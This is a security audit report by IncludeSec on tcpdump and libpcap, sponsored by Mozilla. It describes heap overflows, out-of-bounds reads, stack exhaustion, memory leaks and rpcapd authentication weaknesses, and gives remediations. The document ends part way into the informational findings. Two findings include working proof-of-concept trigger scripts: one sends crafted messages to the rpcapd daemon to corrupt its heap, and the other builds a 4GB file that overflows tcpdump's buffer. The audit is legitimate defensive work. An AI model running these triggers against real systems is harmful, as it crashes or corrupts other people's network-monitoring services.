Code Review Security Assessment of

TCPDUMP & LIBPCAP

Sponsored by Mozilla's Secure Open Source program

TABLE OF CONTENTS

EXECUTIVE SUMMARY

IncludeSec is an application security assessment focused consultancy founded by application security veterans and past Defcon CTF winners in 2010. The team has delivered 600+ security assessments for 145+ clients in 28+ programming languages privately reporting tens of thousands of security issues to our clients to-date. The team works primarily with technology oriented clients in the Silicon Valley, San Francisco, and New York City metro areas.

IncludeSec thanks Michael Richardson, François-Xavier LE BAIL, Denis Ovsienko, Guy Harris, and the entire the tcpdump team for their assistance during the assessment process. Additionally IncludeSec would like to thank Gervase Markham and the entire Mozilla team for defining this project and sponsoring work to improve security of Open Source Software.

Scope and Methodology

IncludeSec performed a security assessment of the open source codebases for tcpdump & libpcap as part of Mozilla's Secure Open Source which allows for Free and Open Source Software(FOSS) to be assessed for security with the overall goal of improving the security posture of the Internet and the FOSS ecosystem. For this project the IncludeSec assessment team was sponsored to execute a 10 day assessment effort spanning from Feb 5th – Feb 16th 2018. The team employed what is considered by IncludeSec to be a "Standard Code Review Assessment Methodology." The official open source releases as of Feb 2nd 2018 were reviewed.

Additionally the Mozilla team requested that the assessment be focused on manual code review. Dynamic application security testing techniques such as fuzzing, automation tooling such as static analysis, and creation of full proof of concept exploits were deemed out of scope for this assessment. As such a detailed code review of the primary components described above was executed as efficiently as possible in the allocated project time.

It should be noted that not all code was reviewed in the time allocated due to the time-boxed nature of the assessment as the process of manual code review is time intensive. Thus no guarantees of security or fitness can be provided as a result of this assessment process. That being said, the assessment team feels this project yielded many interesting results which when addressed will notably improve the security of tcpdump and libpcap.

Assessment Objectives

The objective of this assessment was to identify potential security vulnerabilities within the primary components of tcpdump and lipcap. Although additional time was not allocated to confirm exploitation via proof-of-concept exploits, the assessment team took it upon themselves to create some PoC code to trigger traffic conditions which demonstrate a few of the higher risk findings. The findings in the report below are in a suggested remediation priority

order. IncludeSec also provided remediation steps which the tcpdump team can use secure its applications.

Findings Overview

IncludeSec identified 22 areas of improvement in the code base. Of these, 13 are suggested to be addressed immediately and could pose a security or reliability risk. An additional nine findings are informational in nature and recommended as future tactical and strategic improvements to minimize the chances of future security problems arising in the applications during future development.

Next Steps

IncludeSec advises the tcpdump team to remediate as many findings as possible in a prioritized manner and implement as many changes to the application's coding patterns to minimize the chance of additional vulnerabilities being introduced into future release cycles. IncludeSec welcomes the opportunity to assist Mozilla or the tcpdump team in future projects which might employ additional security assessment methodologies against the tcpdump and libpcap FOSS components (Fuzzing, tracing, static analysis, etc.) or to explore fully functional proof-of-concept exploits for test case reproduction purposes.

ASSESSMENT RESULTS

At the conclusion of the assessment, Include Security categorized findings into two general groups. The first group "Security and Reliability Findings" comprise of crash cases, design flaws, memory copy stack/heap corruptions, integer overflow/underflows, and memory leaks. The second group "Informational findings future proofing and defense in depth" consist of recommended improvements and risk remediation tactics to prevent future security vulnerabilities as active development continues on the applications.

Within each group the findings are ordered in a prioritized manner with the top issue being presented as the most important in terms of prioritization in the opinion of the security assessment team. The groupings and ordering below are guidelines that IncludeSec believes reflect best practices in the security industry and may differ from what the application author's perceived risk or prioritization may be. It is common and encouraged that all clients align prioritization based on user security and safety after receipt of these results.

The findings below are listed by a short name (e.g., F1, F2, F3, I1, I2) and a finding title which may reference one or more components in brackets for quick references. Each finding includes: Description, Recommended Remediation, and References as appropriate.

SECURITY AND RELIABILITY FINDINGS

F1: [libpcap] Remote Packet Capture Daemon (RPCAPD) Integer Overflow Leads to Heap Buffer Overflow

Description:

The **libpcap** library, when configured with the **—enable-remote** flag, builds a remote packet capture daemon called **rpcapd**. This daemon provides a service by which a client can initiate and manage packet captures from interfaces on the machine which runs the daemon. By default, clients must authenticate with a username and password, but **rpcapd** does allow **NULL** authentication using the **-n** flag.

The **daemon_unpackapplyfilter()** function in **rpcapd/daemon.c** from **libpcap** processes requests to apply BPF-style packet filters from clients. This function is called when processing **RPCAP_MSG_STARTCAP_REQ** and **RPCAP_MSG_UPDATEFILTER_REQ** requests. When processing such requests, a malicious client could cause an integer overflow that leads to a heap buffer overflow. Consider the following code.

```
1984     bf_prog.bf_len = ntohl(filter.nitems);
<…>
1992     bf_insn = (struct bpf_insn *) malloc (sizeof(struct bpf_insn) * bf_prog.bf_len);
<…>
2002     for (i = 0; i < bf_prog.bf_len; i++)
2003     {
2004         status = rpcapd_recv(sockctrl, (char *) &insn,
2005             sizeof(struct rpcap_filterbpf_insn), plenp, errmsgbuf);
<…>
2015         bf_insn->code = ntohs(insn.code);
2016         bf_insn->jf = insn.jf;
2017         bf_insn->jt = insn.jt;
2018         bf_insn->k = ntohl(insn.k);
2019
2020         bf_insn++;
```

The **bf_prog.bf_len** is read from the request as a network-endian unsigned long integer on line 1984. On line 1992, the root cause of this issue is that **bf_len** is multiplied with the size of the **struct bpf_insn** structure and the result is passed directly to **malloc()**. If a client sends a request containing a very large number of BPF instructions, less memory than expected may be allocated.

The loop starting on line 2002 will then repeat a large number of times, each time reading a single instruction. Lines 2015 through 2020 within the loop write the resulting instruction into the allocated heap memory and advance the output pointer. If less memory than expected is allocated, this will cause heap corruption.

To demonstrate this condition as a proof-of-concept, it suffices to send a **RPCAP_MSG_STARTCAP_REQ** message to the **rpcapd** daemon with the **bf_prog.bf_len** value set to 0X800000. The following Python script can be used to trigger the memory corruption:

```
import socket

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect(('localhost', 2002))

#auth request
auth_req = "000800000000000800000000000000"
auth_res = "0088000000000000"

#find all devices
find_all_if_req = "0002000000000000"
find_all_if_req= "A" * 8692

#open device
open_device_req = "0003000000000003616e79"
open_device_res = "00830000000000080000007100000000"

#close conn
close_req = "0006000000000000"
start_cap_res = "00840000000000080004000089bf0000"

#apply bpf
bpf_apply_filter_req = "000500000000017000010000000002d002800000000000e00150006000086dd"
bpf_apply_filter_req+= "003000000000001600150028000000060028000000000038001525000000050"
bpf_apply_filter_req+= "002800000000003a00152324000000500015002300000800003000000000019"
bpf_apply_filter_req+= "00150021000000060028000000000001600451f0000001fff00b1000000000010"
bpf_apply_filter_req+= "00480000000000100015020000000050004800000000000120015001a00000050"
bpf_apply_filter_req+= "002000000000001c00150002ac1049800020000000000002000150315ac104901"
bpf_apply_filter_req+= "00150014ac1049010020000000000002000150012ac1049800048000000000010"
bpf_apply_filter_req+= "001500020000c27700480000000000001200150f03000007d200150002000007d2"
bpf_apply_filter_req+= "00480000000000001200150c000000c27700200000000000001c00150002ac104980"
bpf_apply_filter_req+= "002000000000002000150307ac10490100150006ac1049010020000000000020"
bpf_apply_filter_req+= "00150004ac1049800048000000000010001503000000c2780048000000000012"
bpf_apply_filter_req+= "001501000000c27800060000000400000006000000000000"
bpf_apply_filter_res = "0085000000000000"
bpf_apply_filter_res+="0006000000040000"

def bpf(data):
    return data.decode("hex")

#auth
print "Sending AUTH"

conn.send(bpf(auth_req))

data = conn.recv(len(bpf(auth_res)))

if data.encode("hex") == auth_res:
    print "Auth OK"

#find iface
print "Getting interfaces"
```

```
conn.send(bpf(find_all_if_req))
data = conn.recv(len(bpf(find_all_if_res)))

print "Opening capture device"
conn.send(bpf(open_device_req))
data = conn.recv(len(bpf(open_device_res)))

# trigger issue
#bpf_len size
trigger="800000"

#random bpf ins (jmp)
buf="002800000000000e" * 10
start_cap_req = "00040000000000b4000400000000007d0001000000010000"
start_cap_req+= trigger
start_cap_req+= "002800000000000e0015000600086dd00300000000000160"
start_cap_req+= "015000f000000060028000000000003800150c000000005000"
start_cap_req+= "2800000000003a00150a0b000000500015000a00000800003"
start_cap_req+= "000000000001900150008000000060028000000000160045"
start_cap_req+= "060000001fff00b1000000000010004800000000001000150"
start_cap_req+=
"2000000005000480000000000120015000100000050"+buf+"006000000040000000600000000000"

print "Start Capture packet - triggering"
conn.send(bpf(start_cap_req))
data = conn.recv(len(bpf(start_cap_res)))
print data.encode("hex")
```

Recommended Remediation:

The assessment team recommends checking for integer overflow before passing the result of multiplication to **malloc()**. The following example should suffice:

```
    if (bf_prog.bf_len >= UINT32_MAX / sizeof(struct bpf_insn)) {
          pcap_snprintf(errmsgbuf, PCAP_ERRBUF_SIZE, "Instruction count too large");
          return -2;
     }
```

F2: [tcpdump] Integer Arithmetic Error can Lead to Heap Buffer Overflow When Processing Large Files

Description:

The **main()** function in **tcpdump.c** calls **read_infile()** in response to a **-F** command line argument in order to read a file. The function **read_infile()** determines the size of the file using **fstat()** and then attempts to allocate a buffer using **malloc()** which should be large enough to contain the entire file *and* a \0 terminator. To this end, it adds 1 to the file size value returned by **fstat()** and casts the result to a 32-bit unsigned integer. The file size value returned by **fstat()** is of type **off_t**, which is not clearly defined, other than that it is a signed integer. It is most likely 64-bit on 64-bit systems in order to accommodate large files over 2 GB. If this is the case, a file larger than 4GB, which contains 0xFFFFFFFF bytes or more will cause the calculated value for the buffer length to be too large to store in a 32-bit unsigned integer. The cast in the memory allocation will therefore truncate the value, causing the code to allocate 0 bytes instead of the number of bytes that the file contains plus one.

After successfully allocating 0 bytes of memory, the code attempts to read the entire file into the buffer using **read()**. It casts the length as returned by **fstat()** to a 32-bit unsigned integer again and provides that as the number of bytes to read. A file which contains 0x100000000 bytes or more will be too large to store in 32-bits and be truncated as well. This results in only a small part of the file being read. Crucially, a file that is exactly 0xFFFFFFFF bytes will have the calculated buffer size truncated, but not the number of bytes to read, leading to the code allocating 0 bytes and attempting to read 0xFFFFFFFF bytes into the resulting buffer, which causes a buffer overflow.

Note that the **read()** function limits the number of bytes that can be read to **SSIZE_MAX** – a value that is not clearly defined and may differ from system to system. On 32-bit systems, this is likely to be smaller than the number of bytes needed to trigger the issue. Indeed, the pre-compiled **WinDump.exe** build available on **winpcap.org** is 32-bit and does not suffer from this security issue. On 64-bit systems, **SSIZE_MAX** is likely to be large enough to allow for exploitation.

```
static char *
read_infile(char *fname)
{
        int i, fd, cc;
        char *cp;
        struct stat buf;
...
        if (fstat(fd, &buf) < 0)
                error("can't stat %s: %s", fname, pcap_strerror(errno));
        cp = malloc((u_int)buf.st_size + 1);
        if (cp == NULL)
                error("malloc(%d) for %s: %s", (u_int)buf.st_size + 1,
```

```
                        fname, pcap_strerror(errno));
        cc = read(fd, cp, (u_int)buf.st_size);
...
}
```

As a trigger proof-of-concept to demonstrate this condition, it suffices to write 0xFFFFFFFF bytes to a file and attempt to open the file with tcpdump. The following Python script can be used to create such a file:

```
oFile = open("repro.txt", "wb");
sBlock = "A" * 0x100000;
uRemaining = 0xFFFFFFFF;
while uRemaining > 0:
  if uRemaining < len(sBlock):
    sBlock = sBlock[:uRemaining];
  oFile.write(sBlock);
  uRemaining -= len(sBlock);
oFile.close();
```

After running the above script, a 4GB file called **repro.dmp** will have been created in the current directory. This issue can then be triggered by running "**tcpdump -F ./repro.dmp"** .

Recommended Remediation:

The assessment team recommends checking all integer arithmetic for errors before using its results and not casting integer values to any other type without checking if the new type can store the original value correctly.

References:

definition of off_t in sys/types.h
definition of read() in unistd.h
definition of SSIZE_MAX in limits.h
Wikipedia article on integer overflows/underflows
US-CERT article on safe integer operations

F3: [tcpdump] Out of Bounds Read Processing BGPTYPE_MP_REACH_NLRI Packets

Description:

The **bgp_attr_print()** function in **print-bgp.c** contains a large switch statement that makes up the bulk of its code. The **BGPTYPE_MP_REACH_NLRI** case in this switch can read beyond the end of the buffer that contains the packet being processed. This can lead to incorrect results, where arbitrary memory is interpreted as part of the packet and could potentially cause the application to crash if the memory layout puts the end of the buffer at the end of committed memory.

In the following code snippet, if **tlen == BGP_VPN_RD_LEN + 1**, then **EXTRACT_BE_U_4(tptr + BGP_VPN_RD_LEN)** will read 3 bytes beyond the end of the buffer.

```
                case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
                case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
                case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
                    if (tlen < BGP_VPN_RD_LEN+1) {
                        ND_PRINT("invalid len");
                        tlen = 0;
                    } else {
                        ND_TCHECK_LEN(tptr, tlen);
                        ND_PRINT("RD: %s, %s",
                                 bgp_vpn_rd_print(ndo, tptr),
                                 isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-
BGP_VPN_RD_LEN));
                        /* rfc986 mapped IPv4 address ? */
                        if (EXTRACT_BE_U_4(tptr + BGP_VPN_RD_LEN) ==  0x47000601)
                            ND_PRINT(" = %s", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4));
```

Recommended Remediation:

The assessment team recommends modifying the the check to **if (tlen < BGP_VPN_RD_LEN+4)** to prevent attempting to read the data when the packet is too short.

References:

Wikipedia article on bounds checking

F4: [tcpdump] Out of Bounds Read Processing IPv6 OSPF Packets

Description:

The **ospf6_print_lshdr()** function in **print-ospf6.c** does not accurately verify if a packet buffer contains all the bytes intended to be read, potentially causing the code to attempt to read data out-of-bounds, beyond the end of the buffer. This can lead to incorrect results, where arbitrary memory is interpreted as part of the packet and could potentially cause the application to crash if the memory layout puts the end of the buffer at the end of committed memory.

The function is called with a **struct lsa6_hdr** pointer (**lshp**) which should be entirely contained within the packet buffer (**ndo**, used throughout most of the code). It is also passed a pointer beyond which the structure must not extend (**dataend**). There does not appear to be any guarantee that **dataend** is the same as the end of the packet buffer. The structure may therefore be truncated if **dataend** is less then **sizeof(struct lsa6_hdr)** bytes away from **lshp**, *or* if the **ndo** packet buffer is not large enough to contain the entire structure.

The code checks if a pointer to the first byte that comes after the **struct lsa6_hdr** at **lshp** is larger than **dataend**. However, the code appears to be incorrect in the check if the **struct lsa6_hdr** is inside the **ndo** buffer using **ND_TCHECK_xxx** macros up to and including its **ls_seq** member. The code then proceeds to read the **ls_length** member from the structure, which is located after it in memory. A truncated packet that ends after the **ls_seq** member but before the end of the entire structure leads to the code reading beyond the end of the packet buffer.

```
struct lsa6_hdr {
    nd_uint16_t ls_age;
    nd_uint16_t ls_type;
    rtrid_t ls_stateid;
    rtrid_t ls_router;
    nd_uint32_t ls_seq;                 // <-- CHECKED UP TO HERE
    nd_uint16_t ls_chksum;
    nd_uint16_t ls_length;              // <-- READ UP TO HERE
};
static int
ospf6_print_lshdr(netdissect_options *ndo,
                  const struct lsa6_hdr *lshp, const u_char *dataend)
{
        if ((const u_char *)(lshp + 1) > dataend)
                goto trunc;
        ND_TCHECK_2(lshp->ls_type);
        ND_TCHECK_4(lshp->ls_seq);
        ND_PRINT("\n\t  Advertising Router %s, seq 0x%08x, age %us, length %u",
                ipaddr_string(ndo, lshp->ls_router),
                EXTRACT_BE_U_4(lshp->ls_seq),
                EXTRACT_BE_U_2(lshp->ls_age),
                EXTRACT_BE_U_2(lshp->ls_length)-(u_int)sizeof(struct lsa6_hdr));
```

Recommended Remediation:

The assessment team recommends that the code always has **ND_TCHECK_xxx** macros for all member of any structure that it wants to read, which requires adding such checks for **ls_length** and **ls_seq** in this case. Alternatively, the code could use a single **ND_TCHECK_LEN** macro to check if the entire structure is within the packet buffer instead of testing individual members.

References:

Wikipedia article on bounds checking

F5: [libpcap] Berkeley Packet Filter (BPF) Optimization Can Cause Stack Exhaustion

Description:

The **opt_init()** function in optimize.c is called by the **bpf_optimize()** function. The first major operation in **opt_init()** is to call the recursive **count_blocks()** function to calculate the number of basic blocks in order to allocate memory for "an array to map block number to block. In situations where the BPF data may not be trusted, passing a BPF containing a very large number of basic blocks may cause unbounded recursion that can lead to the application crashing because of stack exhaustion. The **number_blks_r()** function is also susceptible to stack exhaustion due to unbounded recursion. Since **number_blks_r()** contains a local variable but **count_blocks()** does not, it may run out of stack space handling BPFs that do not cause exhaustion in **count_blocks()**.

```
1976 static void
1977 opt_init(compiler_state_t *cstate, opt_state_t *opt_state, struct icode *ic)
1978 {
<...>
1987     n = count_blocks(ic, ic->root);
<...>
1993     number_blks_r(opt_state, ic, ic->root);
```

The **count_blocks()** and **number_blks_r()** functions are called on lines 1987 and 1993, respectively. These functions are recursive and are recursion bounded only by input.

```
1911 static int
1912 count_blocks(struct icode *ic, struct block *p)
1913 {
1914     if (p == 0 || isMarked(ic, p))
1915         return 0;
1916     Mark(ic, p);
1917     return count_blocks(ic, JT(p)) + count_blocks(ic, JF(p)) + 1;
1918 }
<...>
```

```
1924 static void
1925 number_blks_r(opt_state_t *opt_state, struct icode *ic, struct block *p)
1926 {
1927     int n;
1928
1929     if (p == 0 || isMarked(ic, p))
1930         return;
1931
1932     Mark(ic, p);
1933     n = opt_state->n_blocks++;
1934     p->id = n;
1935     opt_state->blocks[n] = p;
1936
1937     number_blks_r(opt_state, ic, JT(p));
1938     number_blks_r(opt_state, ic, JF(p));
1939 }
```

Recommended Remediation:

The assessment team recommends adding a recursion depth counter to the arguments passed to this function, which would initially be set to 0 and increased with each nested call. When the counter reaches a certain to-be-determined value, the code should stop making further nested calls to prevent a crash, but provide an appropriate error.

F6: [tcpdump] Out of Bounds Accesses in Server Message Block (SMB) Printer in print_trans2()

Description:

The code in the **print_trans2()** function in **print-smb.c** does not validate pointers calculated based on 16-bit variables which storie buffer sizes. These variables are read from the incoming network packet. The calculation of such a pointer is undefined according to the C specification. These values are later passed to functions that may not properly ensure that data read is within the bounds of the packet. Consider the following code excerpt.

```
 173 static void
 174 print_trans2(netdissect_options * ndo, const u_char * words, const u_char * dat, const
u_char * buf, const u_char * maxbuf)
 175 {
<...>
 178     const u_char *data, *param;
<...>
 184     if (request) {
<...>
 187         param = buf + EXTRACT_LE_U_2(w + 10 * 2);
 188         dcnt = EXTRACT_LE_U_2(w + 11 * 2);
 189         data = buf + EXTRACT_LE_U_2(w + 12 * 2);
 190         fn = smbfindint(EXTRACT_LE_U_2(w + 14 * 2), trans2_fns);
```

```
 191     }
 192     else {
<...>
 198         ND_TCHECK_2(w + (7 * 2));
 199         pcnt = EXTRACT_LE_U_2(w + 3 * 2);
 200         param = buf + EXTRACT_LE_U_2(w + 4 * 2);
 201         dcnt = EXTRACT_LE_U_2(w + 6 * 2);
 202         data = buf + EXTRACT_LE_U_2(w + 7 * 2);
 203     }
<...>
 233     if (fn->descript.fn)
 234         (*fn->descript.fn) (ndo, param, data, pcnt, dcnt);
 235     else {
 236         smb_fdata(ndo, param, f1 ? f1 : "Parameters=\n", param + pcnt, unicodestr);
 237         smb_fdata(ndo, data, f2 ? f2 : "Data=\n", data + dcnt, unicodestr);
 238     }
```

The ND_TCHECK_2 macro is employed on lines 185 and 198. However, no validation is done with calculating the *param* and *data* pointers on lines 187, 189, 200, and 202. Later, those values and additional values (calculated using those pointers as a base *param + pcnt* and *data + dcnt*) are passed as the *buf* and *maxbuf* parameters to either a description function *descript.fn()* or the smb_fdata() function on lines 233-238. Please note that this erroneous code pattern also appears inside the *print_trans()* function.

Recommended Remediation:

The assessment team recommends validating that the entirety of the data pointed to by **param** and **data** lie within the bounds of packet data before passing those values off to another function.

References:

Why is out-of-bounds pointer arithmetic undefined behaviour?

F7: [tcpdump] Recursive Function Call Stack Exhaustion Processing SMB Packets in smb_fdata()

Description:

The **smb_fdata()** function in **smbutil.c** processes data in a string and can be made to call itself to process a sub-string in the data. This can cause pseudo-infinite recursion that can lead to the application crashing because of stack exhaustion.

When the function reads a * (asterix) character in the data, it calls itself to process the string following this character. By feeding this function a string that repeats * in a large string the function can call itself over and over. This exhausts available stack space and crashs the application. This function is used extensively throughout **print-smb.c**, hence it is assumed that

there are multiple ways in which SMB data packets could trigger this issue, as the focus of this assessment was code review full examination of all exploitation paths was not in scope.

```
const u_char *
smb_fdata(netdissect_options *ndo,
          const u_char *buf, const char *fmt, const u_char *maxbuf,
          int unicodestr)
{
    static int depth = 0;
    char s[128];
    char *p;
    while (*fmt) {
       switch (*fmt) {
       case '*':
           fmt++;
           while (buf < maxbuf) {
              const u_char *buf2;
              depth++;
              buf2 = smb_fdata(ndo, buf, fmt, maxbuf, unicodestr);
```

Recommended Remediation:

The assessment team recommends limiting the number of times this function can call itself to some to-be-determined value.

References:

Wikipedia article on stack exhaustion
Wikipedia article on infinite recursion

F8: [tcpdump] Unsafe Integer Arithmetic Can Lead to Heap Overflow in linkaddr_string()

Description:

The function **linkaddr_string()** in **addrtoname.c** attempts to allocate memory in which to store a hexadecimal representation of a string of bytes, separated by colons. The size of this allocation is calculated by multiplying the length of the string of bytes by 3. If the string is larger than UINT_MAX / 3, this will cause an integer overflow, which will result in a smaller value then expected. While it is unlikely that any part of the current codebase call linkaddr_string() with a string of this size, there are no guarantees that this cannot happen elsewhere.

When provided with a long string, the code will write the hexadecimal representation of the string to a buffer that is too short to contain it, thus overflowing the bounds of the allocated heap memory into adjcent heap memory.

```
const char *
linkaddr_string(netdissect_options *ndo, const u_char *ep,
                const unsigned int type, const unsigned int len)
{
...
        tp->bs_name = cp = (char *)malloc(len*3);
        if (tp->bs_name == NULL)
                (*ndo->ndo_error)(ndo, "linkaddr_string: malloc");
        *cp++ = hex[*ep >> 4];
        *cp++ = hex[*ep++ & 0xf];
        for (i = len-1; i > 0 ; --i) {
                *cp++ = ':';
                *cp++ = hex[*ep >> 4];
                *cp++ = hex[*ep++ & 0xf];
```

Recommended Remediation:

The assessment team recommends adding a sane limit to the maximum number of bytes that this function will process to both prevent this potential overflow and stop this function from consuming excessive amounts of memory.

References:

Wikipedia article on integer overflows/underflows
US-CERT article on safe integer operations

F9: [tcpdump] Out of Memory Crashes via Various Memory Leaks in addrtoname.c

Description:

Various functions in tcpdump allocate memory that is never freed. This can happen in response to attacker controlled packets, which allows an attacker to effectively cause tcpdump to allocate all available memory and crash.

The **lookup_nsap()/lookup_bytestring()/lookup_emem()/lookup_protoid()** functions in **addrtoname.c** are all used to store data on the heap in a hashtable and return pointers to this data based on some arguments. The caller is not expected to release the heap allocation as the data is allocated permanently to serve as cache. Two calls with the same arguments result in memory being allocated the first time, but the second time the function returns the same pointer without allocating additional memory. Another call with different arguments results in a new allocation being added to the hashtable and a pointer to this new allocation being returned.

As an example, please see the annotated the code of **lookup_protoid()** below to explain an instance of this issue:

```
static struct protoidmem *
lookup_protoid(netdissect_options *ndo, const u_char *pi)
{
       u_int i, j;
       struct protoidmem *tp;
       /* 5 octets won't be aligned */
       i = (((pi[0] << 8) + pi[1]) << 8) + pi[2];
       j =   (pi[3] << 8) + pi[4];
       /* XXX should be endian-insensitive, but do big-endian testing  XXX */
       tp = &protoidtable[(i ^ j) & (HASHNAMESIZE-1)];
*** In the below while loop, the code attempts to find a cached
*** "struct protoidmem" instance for which the data in the first five bytes
*** of "pi" match the data in its "p_oui" and "p_proto" members. If one is
*** found, it is returned, otherwise the loop ends.
       while (tp->p_nxt)
              if (tp->p_oui == i && tp->p_proto == j)
                     return tp;
              else
                     tp = tp->p_nxt;
*** No cached instance was found, so a new one is created and added to the
*** cache. Since there are 5 bytes/40 bits that make an instance unique, an
*** attacker can cause this to happen up to 1<<40 = 1,099,511,627,776 times;
*** more than enough to cause an OOM on most platforms.
       tp->p_oui = i;
       tp->p_proto = j;
       tp->p_nxt = (struct protoidmem *)calloc(1, sizeof(*tp));
       if (tp->p_nxt == NULL)
              (*ndo->ndo_error)(ndo, "lookup_protoid: calloc");
       return tp;
}
```

Looking through the code in **addrtoname.c** reveals that *all* memory allocations using **malloc()**/**calloc()** in this file are never freed: **linkaddr_string()**, **isonsap_string()**, **newhnamemem()**, and **newh6namemem()** have similar code. This type of behavior exist in other files as well: **tcp_print()** in **print-tcp.c** uses a a hashtable to store converations based on tcp packets; each new conversation causes an allocation which never gets freed. **esp_print_addsa()** in **print-esp.c** adds an allocation to the **ndo_sa_list_head()** member of a **netdissect_options()** and there is no code to free any element of this list. **dnnum_string()** in **print-decnet.c** allocates memory to store a string. There does not appear to be a single code path that causes this memory to be freed again.

Memory allocated by these functions will not be freed until the application terminates. These functions are all called as a response to attacker controlled packets being processed, and their arguments depend on the data in these packets. An attacker can cause these functions to be called repeatedly and permanently allocate memory with each call. It may be needed to cause each call to have different arguments in some cases, but this is possible. This will cause the

tcpdump application and/or the system it is running on to run out of available memory and crash.

Recommended Remediation:

The assessment team recommends that all allocations based on external data (e.g. packets) have a limited lifespan. This can be done by removing the hashtables or other data cache structures and replacing the pointers to permanently allocated data with pointers to newly allocated data that is to be freed by the caller once it is done.

However, the assessment team assumes these hashtables were implemented to improve processing speed and that this change may have an unacceptable performance inpact. In this case the assessment team suggest implementing a garbage collector that tracks when a caller is done with a value so it knows which values can be freed safely. This garbage collector should also track the number of times and/or chronological order in which the elements were last used in order to determine which elements are least likely to be requested again. This would allow the garbage collector to free data that is not commonly used when a certain allocation threshold is reached, which would minize impact on performance.

References:

Wikipedia article on memory leaks

F10: [tcpdump] Stack Exhaustion Processing BGPTYPE_ATTR_SET Packets

Description:

The **bgp_attr_print()** function in **print-bgp.c** contains a large switch statement which comprises the majority of its code. The **BGPTYPE_ATTR_SET** case in this switch can cause another call to **bgp_attr_print()**. An attacker could potentially send a packet that contains data which repeatedly leads the code down this path, each time consuming a portion of available stack space. If the packet contains enough data, this could lead to the code consuming all available stack space and crashing tcpdump. It appears a developer was aware of this potential issue and left a warning note that this should be addressed, but it does not appear that it has:

```
static int
bgp_attr_print(netdissect_options *ndo,
               u_int atype, const u_char *pptr, u_int len)
{
<...>
    switch (atype) {
<...>
    case BGPTYPE_ATTR_SET:
```

```
<...>
            if (!bgp_attr_print(ndo, atype, tptr, alen))
```

Recommended Remediation:

The assessment team recommends adding a recursion counter to this function, which would initially be set to 0 and increased with each nested call. When the counter reaches a certain to-be-determined value, the code should stop making further nested calls to prevent a crash and provide an appropriate error.

References:

Wikipedia article on stack exhaustion
Wikipedia article on infinite recursion

F11: [libpcap] Remote Packet Capture Daemon Multiple Authentication Improvements

Description:

The **libpcap** library, when configured with the **—enable-remote** flag, builds a remote packet capture daemon called **rpcapd**. This daemon provides a service by which a client can initiate and manage packet captures from interfaces on the machine which runs the daemon. By default, clients must authenticate with a username and password, but rpcapd does allow NULL authentication using the -n flag.

Three issues arise when user and password authentication is used. First, the username and password are transmitted in cleartext over the connection. Such communications are susceptible to interception and could lead to credential theft. Second, no brute force protection exists for failed authentication attempts. Third, the username and password verification code used on non-Windows platforms is susceptible to username enumeration. See the following code excerpt from **daemon_AuthUserPwd()**:

```
1117 static int
1118 daemon_AuthUserPwd(char *username, char *password, char *errbuf)
1119 {
<...>
1185     // This call is needed to get the uid
1186     if ((user = getpwnam(username)) == NULL)
1187     {
1188         pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: no such user");
```

```
1189         return -1;
1190     }
```

As seen on line 1188, a specific error message is returned when the username provided does not exist.

Recommended Remediation:

For the first issue, the assessment team recommends utilizing Transport Layer Security (TLS) to encrypt the session end-to-end and prevent interception.

For the second issue, the assessment team recommends implementing mechanisms to hinder or prevent brute-force attacks against the authentication requests and having those mechanisms have a low-tolerence default threshold (perhaps five attempts) before initating brute-force protection by increasing the time allowed between authentication attempts.

For the third issue, the assessment team recommends returning the same error message when authentication fails regardless if it fails due to a missing user or incorrect password.

References:

Blocking Bruteforce Attacks

F12: [libpcap] Remote Packet Capture Daemon Null Pointer Dereference Denial of Service

Description:

The **libpcap** library, when configured with the **—enable-remote** flag, builds a remote packet capture daemon called **rpcapd**. This daemon provides a service by which a client can initiate and manage packet captures from interfaces on the machine which runs the daemon. By default, clients must authenticate with a username and password, but rpcapd does allow NULL authentication using the -n flag.

This issues arises when a client provides a username with an invalid password for authentication. For example, a locked account. See the following code excerpt from **daemon_AuthUserPwd()**:

```
1117 static int
1118 daemon_AuthUserPwd(char *username, char *password, char *errbuf)
1119 {
<...>
1214     if (strcmp(user_password, (char *) crypt(password, user_password)) != 0)
```

```
1215     {
1216         pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: password
incorrect");
1217         return -1;
1218     }
```

The result of the call to **crypt()** is not checked on line 1214. If **crypt()** fails, **NULL** will be passed to **strcmp()**. On most modern systems, this results in a NULL pointer dereference resulting in a segmentation violation crash.

Recommended Remediation:

The assessment team recommends verifying the return value from **crypt()** and failing gracefully in the case of **crypt()** failing.

F13: [libpcap] Remote Packet Capture Daemon Allows Opening Capture URLs

Description:

The **libpcap** library, when configured with the **—enable-remote** flag, builds a remote packet capture daemon called **rpcapd**. This daemon provides a service by which a client can initiate and manage packet captures from interfaces on the machine which runs the daemon. By default, clients must authenticate with a username and password, but rpcapd does allow NULL authentication using the -n flag.

The **daemon_msg_open_req()** function is called when handling a client request to open a packet capture. Similarly, the **daemon_msg_startcap_req()** function is called when the client wishes to start capturing packets. In both functions, the **pcap_open_live()** function is called using a **source** string that is assumed to be safe. See the following comment from the code acknowledging this issue:

```
1472     // XXX - make sure it's *not* a URL; we don't support opening
1473     // remote devices here.
1474
1475     // Open the selected device
1476     // This is a fake open, since we do that only to get the needed parameters, then we
close the device again
1477     if ((fp = pcap_open_live(source,
1478             1500 /* fake snaplen */,
1479             0 /* no promis */,
1480             1000 /* fake timeout */,
1481             errmsgbuf)) == NULL)
1482         goto error;
```

As you can see on line 1472, this issue appears to be known to the developers. Because URLs are not correctly filtered, a client could potentially open local file captures or connect **rpcapd** to another **rpcapd** under their control.

Recommended Remediation:

The assessment team recommends addressing the comment and implementing a filter for the **source** string passed to **pcap_open_live()**.

References:

Server-side Request Forgery – OWASP

INFORMATIONAL FINDINGS
- FUTURE PROOFING AND DEFENSE IN DEPTH

I1: [tcpdump] Integer Truncation and Underflows in isis_print()

Description:

The code in the **isis_print()** function in **print-isocln.c** casts a 32-bit length value to a 16-bit sized variable, this can lead to loss of information if length is larger than the maximum value that can be stored in the 16-bit variable. The code also subtracts values from an unsigned variable containing length without checking if the length is smaller than those values, which can lead to an integer underflow if the resulting value would be smaller than zero. The value effectively integer wraps to a very large value instead of a negative value.

Both issues can prevent the code from properly parsing packets but do not appear to have security consequences.

```
static int
